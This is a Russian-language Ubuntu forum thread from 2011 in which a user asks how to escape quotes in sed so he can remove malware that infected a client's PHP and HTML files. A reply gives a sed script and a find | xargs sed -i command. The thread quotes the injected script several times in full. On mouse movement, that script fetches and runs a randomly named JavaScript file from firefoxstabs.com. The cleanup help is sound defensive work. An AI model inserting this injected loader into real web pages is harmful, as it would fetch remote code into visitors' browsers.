Форум русскоязычного сообщества Ubuntu


Получить помощь и пообщаться с другими пользователями Ubuntu можно
на irc канале #ubuntu-ru в сети Freenode
и в Jabber конференции ubuntu@conference.jabber.ru

Автор Тема: Экранизация кавычек в sed'е  (Прочитано 2502 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн denis_aes

  • Автор темы
  • Новичок
  • *
  • Сообщений: 3
    • Просмотр профиля
    • Создание сайтов в Мурманске
Экранизация кавычек в sed'е
« : 10 Мая 2011, 18:04:36 »
Добрый день.

Случилась проблема на сайте одного заказчика - злобный вирус пролез на сервер и жестоко покарал большую часть php и html файлов, дописав следующее:

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>

Я хочу автоматом с помощью find -exec sed все убрать. Но не получается написать правильное выражение для sed'а.
1. В коде выше  используются одновременно и одинарные и двойные кавычки - не понимаю как это правильно сэкранировать.

2. Я сумел почти решить проблему, разбив на несколько sed'ов:
sed "s#'http://firefoxstabs.com/'##g" includes/menu.php |
sed "s#'.js'##g" |
sed 's#<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript( + Math.random().toString().substring(3) + , function() {flag = 2;});}});});</script>#?>#g'

Остался один косяк - это все выводится в консоль. Когда я пытаюсь сделать  sed ... | sed ... | sed .. > file в файле оказывается пустота. Что не правильно?

andrey_p

  • Гость
Re: Экранизация кавычек в sed'е
« Ответ #1 : 10 Мая 2011, 19:36:53 »
Не надо ничего экранировать. Создай файл  (допустим re.sed) c командой:

s|<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>||g


Кажется, в ней никаких служебных символов, кроме точки, нет. И я так понимаю, что эта вставка на одной строке находится. Если нет, то посложнее будет, впрочем на Perl легко.

И запускай так (предварительно сделай копии файлов, конечно):

find ... | xargs sed -f re.sed -i
-f читает команду из файла и шелл кавычек не видет. -i меняет файлы, которые в качестве аргументов подает xargs (а это файлы, найденные find).
« Последнее редактирование: 10 Мая 2011, 19:51:01 от andrey_p »

 

Страница сгенерирована за 0.031 секунд. Запросов: 26.